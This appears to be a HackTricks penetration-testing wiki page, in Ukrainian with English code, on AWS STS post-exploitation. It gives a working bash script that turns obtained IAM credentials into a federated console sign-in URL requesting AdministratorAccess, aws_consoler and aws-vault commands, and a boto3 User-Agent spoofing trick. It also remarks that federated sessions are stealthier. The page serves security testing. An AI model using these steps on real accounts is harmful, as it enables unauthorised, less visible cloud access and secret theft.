# AWS - STS Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## STS For more information: {{#ref}} ../../aws-services/aws-iam-enum.md {{#endref}} ### From IAM Creds to Console Якщо вам вдалося отримати деякі IAM credentials, вас може зацікавити **доступ до веб-консолі** за допомогою наведених інструментів.\ Зауважте, що користувач/роль має мати дозвіл **`sts:GetFederationToken`**. #### Custom script Наступний скрипт використає профіль за замовчуванням та стандартний регіон AWS (не gov і не cn), щоб надати підписане URL, яке ви можете використати для входу у веб-консоль: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges ## Don't forget to use [--profile ] in the first line if you need to output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess) if [ $? -ne 0 ]; then echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" exit $status fi # Parse the output session_id=$(echo $output | jq -r '.Credentials.AccessKeyId') session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey') session_token=$(echo $output | jq -r '.Credentials.SessionToken') # Construct the JSON credentials string json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}") # Define the AWS federation endpoint federation_endpoint="https://signin.aws.amazon.com/federation" # Make the HTTP request to get the sign-in token resp=$(curl -s "$federation_endpoint" \ --get \ --data-urlencode "Action=getSigninToken" \ --data-urlencode "SessionDuration=43200" \ --data-urlencode "Session=$json_creds" ) signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` #### aws_consoler Ви можете **згенерувати посилання на веб-консоль** за допомогою [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env source ./env/bin/activate pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` > [!WARNING] > Переконайтеся, що IAM user має дозвіл `sts:GetFederationToken`, або вкажіть role для assume. #### aws-vault [**aws-vault**](https://github.com/99designs/aws-vault) — інструмент для безпечного зберігання та доступу до AWS credentials у середовищі розробки. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` > [!NOTE] > Ви також можете використати **aws-vault** для отримання **сесії консолі в браузері** ### **Обхід обмежень User-Agent з Python** Якщо існує **обмеження на виконання певних дій залежно від User-Agent**, що використовується (наприклад, коли використання python boto3 library обмежене за User-Agent), можна скористатися попередньою технікою, щоб **підключитися до веб-консолі через браузер**, або ж безпосередньо **змінити boto3 user-agent**, зробивши: ```bash # Shared by ex16x41 # Create a client session = boto3.Session(profile_name="lab6") client = session.client("secretsmanager", region_name="us-east-1") # Change user agent of the client client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) ) # Perform the action response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString']) ``` ### **`sts:GetFederationToken`** З цим дозволом можна створити федеративну ідентичність для користувача, який його виконує, обмежену тими ж дозволами, що має цей користувач. ```bash aws sts get-federation-token --name ``` Токен, який повертається sts:GetFederationToken, належить федерованій ідентичності користувача, що викликає, але має обмежені права. Навіть якщо користувач має права адміністратора, певні дії, такі як перелік IAM users або attaching policies, не можуть бути виконані через федерований токен. Крім того, цей метод є дещо більш прихованим, оскільки федерований користувач не відображається в AWS Portal — його можна спостерігати лише через CloudTrail logs або інструменти моніторингу. {{#include ../../../../banners/hacktricks-training.md}}